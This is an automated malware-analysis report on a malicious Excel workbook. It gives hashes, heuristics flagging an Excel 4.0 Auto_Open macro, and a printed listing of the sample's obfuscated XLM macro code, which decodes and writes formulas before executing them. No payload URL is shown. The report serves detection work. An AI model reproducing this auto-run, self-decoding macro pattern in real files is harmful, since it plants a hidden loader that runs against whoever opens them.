Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f945cd4da83e9212…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:46:23 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 5e4bb0aaed8deab28a8e83f6a7583446 SHA-1: 5080a9c5fb530621413f4557f3d1501e1719766a SHA-256: f945cd4da83e92128983417e62272e7495fffebd91b39e77dc4b9739b34e0a43
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6389 bytes
SHA-256: 9686256d721ea3515adba4c570a845aa9126b963c3c8f0d95381af221c8c73af
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  mix
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A147 
' 0018     25 LABEL : Cell Value, String Constant - CKWUYLICDd len=0 
' 0018     27 LABEL : Cell Value, String Constant - FQvbsnzLHXsH len=0 
' 0018     27 LABEL : Cell Value, String Constant - IdIBfYyeMNHh len=0 
' 0018     20 LABEL : Cell Value, String Constant - iIDNA len=0 
' 0018     22 LABEL : Cell Value, String Constant - isnjrIX len=0 
' 0018     26 LABEL : Cell Value, String Constant - kHpZxuilVDx len=0 
' 0018     24 LABEL : Cell Value, String Constant - kIjtYiBRB len=0 
' 0018     23 LABEL : Cell Value, String Constant - mHJtaVpp len=0 
' 0018     27 LABEL : Cell Value, String Constant - mSCFENnnuVmE len=0 
' 0018     23 LABEL : Cell Value, String Constant - MXAFRcFu len=0 
' 0018     20 LABEL : Cell Value, String Constant - oGTrj len=0 
' 0018     25 LABEL : Cell Value, String Constant - ooHGpJTKuE len=0 
' 0018     22 LABEL : Cell Value, String Constant - opgndrP len=0 
' 0018     21 LABEL : Cell Value, String Constant - pKAowp len=0 
' 0018     20 LABEL : Cell Value, String Constant - RnCRh len=0 
' 0018     27 LABEL : Cell Value, String Constant - rtnZOIQhJQdI len=0 
' 0018     27 LABEL : Cell Value, String Constant - SjMxbWdxEOpD len=0 
' 0018     23 LABEL : Cell Value, String Constant - uMhOPeUU len=0 
' 0018     23 LABEL : Cell Value, String Constant - XqScJifT len=0 
' 0018     24 LABEL : Cell Value, String Constant - yvycFthmv len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  mix,A58,"SET.NAME("mSCFENnnuVmE",VALUE("0"))",""
'  mix,A62,"SET.NAME("RnCRh",mSCFENnnuVmE)",""
'  mix,A66,"SET.NAME("opgndrP",mSCFENnnuVmE)",""
'  mix,A70,"SET.NAME("pKAowp",COUNTA(XqScJifT))",""
'  mix,A73,"SET.NAME("kHpZxuilVDx",COUNTA(ooHGpJTKuE))",""
'  mix,A75,[],""
'  mix,A77,"SET.NAME("IdIBfYyeMNHh","")",""
'  mix,A82,"RnCRh",""
'  mix,A84,"SET.NAME("uMhOPeUU",HLOOKUP("*",XqScJifT,RnCRh,FALSE))",""
'  mix,A86,"CKWUYLICDd",""
'  mix,A89,"SET.NAME("rtnZOIQhJQdI",mSCFENnnuVmE)",""
'  mix,A91,[],""
'  mix,A95,"rtnZOIQhJQdI",""
'  mix,A98,"kIjtYiBRB",""
'  mix,A103,"yvycFthmv",""
'  mix,A107,"SjMxbWdxEOpD",""
'  mix,A110,"SET.NAME("MXAFRcFu",VALUE(HLOOKUP("*",ooHGpJTKuE,SjMxbWdxEOpD,FALSE)))",""
'  mix,A115,"mHJtaVpp",""
'  mix,A118,"IdIBfYyeMNHh",""
'  mix,A123,"opgndrP",""
'  mix,A127,NEXT(),""
'  mix,A131,"iIDNA",""
'  mix,A134,"SET.NAME("f",INT(T(FORMULA(T(IdIBfYyeMNHh)&"",""&T(iIDNA)))))",""
'  mix,A138,"isnjrIX",""
'  mix,A140,NEXT(),""
'  mix,A143,RETURN(),""
'  mix,A172,"SET.NAME("oGTrj",A58)",""
'  mix,A177,"XqScJifT",""
'  mix,A179,"SET.NAME("ooHGpJTKuE",R97C13)",""
'  mix,A183,"SET.NAME("isnjrIX",192)",""
'  mix,A187,"SET.NAME("FQvbsnzLHXsH",1)",""
'  mix,A191,oGTrj(),""
'  mix,A192,HALT(),""